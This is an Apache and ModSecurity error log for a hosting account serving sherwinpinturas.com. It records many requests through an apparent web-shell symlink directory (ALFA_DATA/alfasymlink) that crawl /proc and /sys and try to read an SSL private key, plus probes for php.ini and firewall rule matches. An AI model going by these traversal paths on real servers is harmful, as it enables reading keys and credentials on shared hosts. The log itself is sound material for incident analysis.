[Tue Oct 27 03:05:46.460366 2026] [security2:error] [pid 3174426:tid 3174426] [client 85.208.96.208:61330] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/i915/adlp_guc_69.0.3.bin"] [unique_id "auBNSvBpQA4DT21g-rgScgAAAAY"]
[Tue Oct 27 03:05:46.460426 2026] [security2:error] [pid 3174426:tid 3174426] [client 85.208.96.208:61330] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/i915/adlp_guc_69.0.3.bin"] [unique_id "auBNSvBpQA4DT21g-rgScgAAAAY"]
[Tue Oct 27 03:05:50.155672 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.213.70.100:39589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:05:54.159743 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 98.83.72.38:35733] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory22/node0/memory20/subsystem/uevent
[Tue Oct 27 03:05:54.831598 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 185.191.171.3:39168] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:05:58.154738 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 52.204.71.8:45635] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:06:02.178671 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 107.20.224.184:13640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty16/subsystem/ttyS3/line
[Tue Oct 27 03:06:38.153632 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 18.213.70.100:45192] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:06:46.260563 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 34.197.28.78:19357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:06:54.166686 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.147.80.137:41334] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:07:02.168768 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 34.192.67.98:6692] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:07:22.149501 2026] [core:error] [pid 3175289:tid 3175289] (13)Permission denied: [client 52.73.142.41:58207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/slots/27/module/uevent
[Tue Oct 27 03:07:23.140054 2026] [security2:error] [pid 3175284:tid 3175284] [client 43.164.194.198:54808] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/recursos3/"] [unique_id "auBNq0QFomyjz0g-y4eNMQAAAAo"]
[Tue Oct 27 03:07:26.273018 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.230.224.6:53970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:07:58.199234 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 3.212.86.97:9478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:0d/subsystem/drivers/battery/unbind
[Tue Oct 27 03:08:02.157718 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 52.4.76.156:21840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/memory20/subsystem/drivers_probe
[Tue Oct 27 03:08:14.163440 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.216.13.10:9385] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:08:18.427002 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 23.23.99.55:47728] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:08:22.145036 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 3.229.164.203:56589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:08:30.143681 2026] [core:error] [pid 3175289:tid 3175289] (13)Permission denied: [client 3.209.174.110:23752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory18/node0/memory16/subsystem/drivers_probe
[Tue Oct 27 03:08:34.152864 2026] [ssl:error] [pid 3157820:tid 3157820] (5)Input/output error: [client 3.218.103.254:29930] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:08:38.234072 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 23.23.212.212:57477] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:08:42.150527 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 52.44.148.203:35035] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:09:18.321314 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.208.11.93:44197] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:09:22.158271 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 34.231.156.59:41067] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:09:34.243767 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.220.148.166:26986] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:09:38.163527 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.7.33.248:26144] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:10:06.146608 2026] [ssl:error] [pid 3175289:tid 3175289] (5)Input/output error: [client 52.204.174.139:46585] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:10:14.178480 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 3.93.211.16:42509] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:10:18.160037 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 54.84.93.8:36065] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:10:22.158177 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.195.50.71:53397] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:10:26.152285 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.230.224.6:23275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:10:30.143842 2026] [ssl:error] [pid 3175284:tid 3175284] (5)Input/output error: [client 107.20.255.194:3082] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:10:34.221435 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.89.176.255:15250] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:10:38.235971 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 54.166.126.132:14147] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory1/node0/cpu0/driver/unbind
[Tue Oct 27 03:10:42.148181 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.232.102.111:26120] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:10:46.181541 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 18.232.11.247:60984] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/QEMU0002:00/driver/uevent
[Tue Oct 27 03:10:54.149429 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 50.19.221.48:35677] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:11:06.197160 2026] [security2:error] [pid 3169915:tid 3169915] [client 3.221.156.96:40247] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:09/"] [unique_id "auBOimMfptYfS3IdlHNXkgAAAAc"]
[Tue Oct 27 03:11:06.197207 2026] [security2:error] [pid 3169915:tid 3169915] [client 3.221.156.96:40247] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:09/"] [unique_id "auBOimMfptYfS3IdlHNXkgAAAAc"]
[Tue Oct 27 03:11:10.159710 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 100.29.160.53:44794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/node0/memory16/subsystem/uevent
[Tue Oct 27 03:11:18.257972 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 18.209.201.119:48586] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:11:26.176570 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 52.3.104.214:24143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/bind
[Tue Oct 27 03:11:34.147959 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 3.213.46.222:57030] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:11:38.250476 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.3.104.214:26842] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:11:50.147352 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 100.27.153.9:11416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:11:58.163427 2026] [ssl:error] [pid 3184575:tid 3184575] (5)Input/output error: [client 54.167.32.123:21989] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:12:06.138544 2026] [core:error] [pid 3175289:tid 3175289] (13)Permission denied: [client 3.213.106.226:7204] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/remove
[Tue Oct 27 03:12:22.281123 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 184.72.84.154:51489] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:12:26.190928 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 184.73.47.24:54088] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:12:34.236930 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 100.28.49.152:4959] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:12:54.147945 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 52.200.54.136:16651] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:06.177981 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.147.80.137:53423] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:10.322954 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 54.166.104.83:39793] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:15.120177 2026] [core:crit] [pid 3169915:tid 3169915] (13)Permission denied: [client 185.191.171.15:45056] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/chkservd/restart_track/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/chkservd/restart_track/' is executable
[Tue Oct 27 03:13:22.123525 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 34.205.170.13:37299] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:30.220277 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 100.28.49.152:3561] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:34.178890 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 23.21.148.226:21149] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:38.139605 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.202.52.82:18384] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:42.152765 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 184.73.239.35:28345] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:46.142479 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 44.193.102.198:34438] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:54.198205 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.218.35.239:8575] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:13:58.151930 2026] [security2:error] [pid 3175289:tid 3175289] [client 35.171.117.160:24837] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/subsystem/devices/node0/memory2/"] [unique_id "auBPNnAp5o-kytosSOFIVQAAABU"]
[Tue Oct 27 03:13:58.151990 2026] [security2:error] [pid 3175289:tid 3175289] [client 35.171.117.160:24837] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/subsystem/devices/node0/memory2/"] [unique_id "auBPNnAp5o-kytosSOFIVQAAABU"]
[Tue Oct 27 03:14:02.281903 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 44.209.187.99:56576] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:14:04.793715 2026] [authz_core:error] [pid 3184471:tid 3184471] [client 45.198.224.125:33908] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 03:14:10.169174 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.200.142.199:61258] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:14:30.179045 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 100.28.49.152:15782] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:14:34.290955 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 98.83.178.66:2473] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:14:38.235080 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 52.203.68.145:8228] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:14:46.156919 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.229.95.193:26633] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:14:46.725843 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 85.208.96.194:35804] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:15:19.084231 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 149.22.90.243:42054] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 03:15:22.305373 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.83.23.103:17361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:15:40.216927 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 195.178.110.53:28540] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 03:15:40.242224 2026] [authz_core:error] [pid 3174426:tid 3174426] [client 195.178.110.53:28542] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 03:15:40.591939 2026] [authz_core:error] [pid 3175289:tid 3175289] [client 195.178.110.53:28546] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 03:15:40.606009 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 195.178.110.53:28554] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 03:15:46.196492 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.218.103.254:10031] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:15:50.175328 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 50.19.79.213:21820] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:15:54.309326 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.226.106.93:2116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:15:58.195233 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 44.205.120.22:54376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:05.330310 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 85.208.96.197:13406] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:18.238021 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 44.193.102.198:3098] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:22.253884 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 44.217.255.167:55845] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:26.258517 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 23.21.175.228:37556] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:30.423737 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.45.194.165:54849] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:34.314395 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 18.210.58.238:32196] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:36.407799 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 85.208.96.195:35114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/store_user
[Tue Oct 27 03:16:38.260542 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.226.34.98:48215] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:42.260092 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 44.207.252.58:33456] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:46.290469 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 44.214.19.8:13204] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:54.369079 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.221.156.96:24481] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:16:59.162994 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.211.105.134:26786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:02.573199 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 3.94.199.128:41803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:06.494436 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 3.232.102.111:29170] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:10.547244 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 100.24.167.60:41312] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:14.366993 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 3.213.46.222:59586] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:18.327363 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 54.162.69.192:43448] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:22.317762 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 54.225.181.161:54455] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:26.319198 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 44.197.76.210:54927] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:30.322934 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 18.215.77.19:7808] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:32.750736 2026] [security2:error] [pid 3184575:tid 3184575] [client 43.131.32.36:49054] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapi1/"] [unique_id "auBQDHCsn1NVv0VfikkFzQAAAAQ"]
[Tue Oct 27 03:17:34.327263 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 3.229.2.217:62450] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:50.469987 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.213.27.222:30911] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:53.980934 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 85.208.96.196:19912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-32/free_calls
[Tue Oct 27 03:17:54.460440 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.200.58.199:15428] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:17:57.572066 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 85.208.96.206:23628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:00.0/remove
[Tue Oct 27 03:17:58.351878 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.219.80.71:7323] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:18:02.377519 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 18.211.148.239:27854] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:18:02.415033 2026] [security2:error] [pid 3184470:tid 3184470] [client 85.208.96.206:45954] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b896d_fb683_7f920c0efaa231e64d4e17b2b6ddaeda.key"] [unique_id "auBQKsoogewtr_DucUPwNQAAAAA"]
[Tue Oct 27 03:18:02.415413 2026] [security2:error] [pid 3184470:tid 3184470] [client 85.208.96.206:45954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b896d_fb683_7f920c0efaa231e64d4e17b2b6ddaeda.key"] [unique_id "auBQKsoogewtr_DucUPwNQAAAAA"]
[Tue Oct 27 03:18:02.415794 2026] [security2:error] [pid 3184470:tid 3184470] [client 85.208.96.206:45954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/b896d_fb683_7f920c0efaa231e64d4e17b2b6ddaeda.key"] [unique_id "auBQKsoogewtr_DucUPwNQAAAAA"]
[Tue Oct 27 03:18:14.498039 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.212.205.90:31261] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:18:18.569485 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 23.21.250.48:33688] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:18:22.504224 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.166.104.83:46492] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:18:31.638706 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.220.148.166:14634] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:18:38.447297 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 18.204.89.56:63021] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan
[Tue Oct 27 03:18:38.447769 2026] [security2:error] [pid 3184471:tid 3184471] [client 18.204.89.56:63021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan"] [unique_id "auBQTtOTO42xOmZCRV019AAAAAE"]
